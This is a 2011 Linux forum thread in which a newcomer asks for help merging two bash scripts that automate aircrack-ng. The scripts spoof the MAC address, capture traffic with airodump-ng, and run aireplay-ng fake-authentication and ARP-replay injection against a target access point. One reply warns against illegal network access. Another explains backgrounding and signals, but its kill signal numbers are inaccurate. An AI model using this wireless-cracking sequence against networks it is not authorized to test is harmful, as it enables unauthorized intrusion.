LinuxQuestions.org
Help answer threads with 0 replies.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 05-14-2011, 12:35 AM   #1
bogie5464
LQ Newbie
 
Registered: May 2011
Posts: 4

Rep: Reputation: 0
Need help with a script.


I am trying to make a script to automatically run aircrack-ng. There are a few things I need help on.

1. One part of the program is an ongoing action. one that you have to press ctrl+c to cancel, but I need the script to keep running the tasks after it.

2. I need to leave one thing running while running another, so if I could like open a new Terminal tab and run things that would be perfect.

3. I need to keep it all as one script, because the variables need to stay.

If you could help me with these things, you would make my life so much easier.

Last edited by bogie5464; 05-14-2011 at 12:36 AM.
 
Old 05-14-2011, 02:13 AM   #2
EricTRA
LQ Guru
 
Registered: May 2009
Location: Gibraltar, Gibraltar
Distribution: Fedora 20 with Awesome WM
Posts: 6,805
Blog Entries: 1

Rep: Reputation: 1295Reputation: 1295Reputation: 1295Reputation: 1295Reputation: 1295Reputation: 1295Reputation: 1295Reputation: 1295Reputation: 1295
Hello and welcome to LinuxQuestions,

When asking for help with a script we assume that you already have something, even partly. The way you're posting makes me believe that you don't have anything apart from what you would like the script to do. If that's the case then you should know that LQ users are not in the habit to provide you ready made solutions. You'll have to put in the work and turn to LQ when encountering errors are having doubt about your script. So, show us what you have, tell us where it's failing and then we might be able to help you help yourself.

Also, be careful about mentioning hacker/cracker tools since you'll not get any support or help here directly in using them to gain illegal access to other networks.

Kind regards,

Eric
 
Old 05-14-2011, 01:57 PM   #3
bogie5464
LQ Newbie
 
Registered: May 2011
Posts: 4

Original Poster
Rep: Reputation: 0
Right now I have 2 scripts, and I want to combine them.

Script 1:

sudo echo what interface are you using?
read interface
airmon-ng stop $interface
macchanger --mac 00:11:22:33:44:55 $interface
airmon-ng start $interface
airodump-ng $interface <---- this is the ongoing action that I need to stop to continue with the rest of these.
echo Channel?
read Channel
echo ESSID?
read essid
echo BSSID?
read bssid
airodump-ng -c $channel -w $essid --bssid $bssid $interface



and here is script 2:

aireplay-ng -1 0 -a $bssid -h 00:11:22:33:44:55 -e $essid $interface
aireplay-ng -3 -b $bssid -h 00:11:22:33:44:55 $interface

The second one are the scripts I want to run in a new tab, or screen it, or something that's useful.
 
Old 05-15-2011, 12:21 AM   #4
lodragan
LQ Newbie
 
Registered: Jan 2006
Location: USA
Distribution: Slackware 13.1, Windows 7 (on game box only), Mac OSX
Posts: 18

Rep: Reputation: 4
Post

I can't clearly understand what you are trying to do here. However, some pointers to possible solutions:

Study and understand interprocess communication and signals on POSIX systems.

Study and understand process forking and exec'ing on POSIX systems.

I have done really hairy bash scripts that were able to handle signals and were really bullet-proof - but only because I didn't have a choice in the matter (these were on black-box systems that had limited toolsets and options for building any type of application). This seems to be the other side of that coin.

The key aspect here is that once your application forks and exec's a separate application - by default it will wait for the child process to return before continuing execution of it's main thread of execution. You can avoid this, if you don't want it to wait by expressly forking and exec'ing the application in such a way that tells the parent process not to wait - which is one component of what you are trying to do I think. You can see this at work on the bash command line - try the following commands:

Code:
# bash
# exit
# 

# exec bash
# exit
*bye bye*....connection dropped

# bash &
# exit 
*bye bye*....connection dropped
In the first instance, by running the command 'bash' on the bash command line - we've forked and the exec'd a new instance of bash on the new 'fork' (this happens for every application/script you run normally by the way). At that point you have the new bash child running in the foreground, and the original bash parent in the background. When you Ctrl-C or type 'exit' in the shell, this child process dies, and the parent shell stops waiting and continues execution in the foreground.

In the second instance, we've used the 'exec' command. What this does is tells the parent bash shell to NOT fork -- and to simply exec a copy of the application over itself - in this case a new instance of bash. When you type 'exit' or Ctrl-c this time, it exits the terminal client because there was no parent process to return to after the application dies.

In the third example, we are expressly telling the foreground application NOT to wait for it's child process by placing the '&' symbol after the child process name. When it does this, it launches the child application in the background, and continues execution of the parent process in the foreground. If you type exit at this point, you will lose connectivity - but the background application may continue running after you drop offline (and will certainly be running in the background in parallel if you don't). You can also give processes signals to tell them what to do - for example, the 'nohup' command sends a signal to the new child process that tells it not to 'hangup' when the parent process dies. A variation of this technique is used when executing daemon processes - so they can run independently of any terminal and have their parent process as the init application (pid 1 generally) when they start.

Based upon what you've stated, the problem is also one of interprocess communication; the intermediate application must run, but stop in mid-stride to wait for some further actions to complete before continuing, and you want this to be automated. I don't know anything about 'airodump-ng' - so I'm assuming that you don't have the source code for that application; unless the application has a command interface that you can communicate with using interprocess communication, it sounds like you only have two choices - run the app and wait for it to return, or just run it in the background in parallel with the follow-on instructions. Both options do not support your specification. If, on the other hand, this application either has an active interprocess communications mechanism, or you have the source code, you could hack the source or configure a pipe to communicate with the process while it is running - to get the effect you are asking for. Either way will be a major undertaking - but these kinds of projects are what turns larvae into moths...hacker moths...

Another possibility would be to use signals to communicate with the application - this assumes that the application itself does not block (or handle) the signals you would want to use. The 'kill' command is not only used to kill applications, but you can also send signals to applications if you know their PID. If you are coding in c, perl or python - you could set up the plumbing to capture the PID of the child process when you fork and exec it. Failing that, you'll need to resort to some not-so-elegant means of grep'ing the process table for the application and parsing out the PID desired. Assuming we have the child PID (I'll leave the details of that up to you) - you can send the application the SIGSTOP signal via the command:

Code:
# kill -17 1234
...where '1234' is the correct PID for the child process. If the application has default behavior - it should suspend operation when it receives the signal. Similarly, you can cause the application to continue running by sending it a SIGCONT signal via the command:

Code:
# kill -19 1234
You can see all the various signal codes by running 'man signals' on the command line. Your code might look something like:

Code:
sudo echo what interface are you using?
read interface
airmon-ng stop $interface
macchanger --mac 00:11:22:33:44:55 $interface
airmon-ng start $interface
# kick airodump-ng off in the background:
airodump-ng $interface & <---- this is the ongoing action that I need to stop to continue with the rest of these.
# stop airodump-ng here:
A=`ps -ef | grep airodump-ng | grep -v grep | cut *something*`
kill -17 $A
echo Channel?
read Channel
echo ESSID?
read essid
echo BSSID?
read bssid
airodump-ng -c $channel -w $essid --bssid $bssid $interface
# resume running airodump-ng:
kill -19 $A
This still looks kludgey at best - don't know if that will actually do what you want, as your algorithm and requirements are fuzzy.

Last edited by lodragan; 05-15-2011 at 12:35 AM. Reason: typos
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
[SOLVED] Script question: create a shell script in kde to log in on a server with ssh c4719929 Linux - Newbie 1 01-31-2011 04:05 AM
Bash script problem with ftp session exiting the script early edomingox Programming 5 02-23-2010 06:39 AM
How to get full path to script file inside script itself? And in case of sym links? maggus Linux - Newbie 3 05-28-2009 09:40 AM
MySQL Updates With Null When Perl Script Run From Shell Script ThisGuyIKnow Programming 6 08-12-2008 10:56 AM
linux 9 and java script error - premature end of script header sibil Linux - Newbie 0 01-06-2004 05:21 PM


All times are GMT -5. The time now is 08:33 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration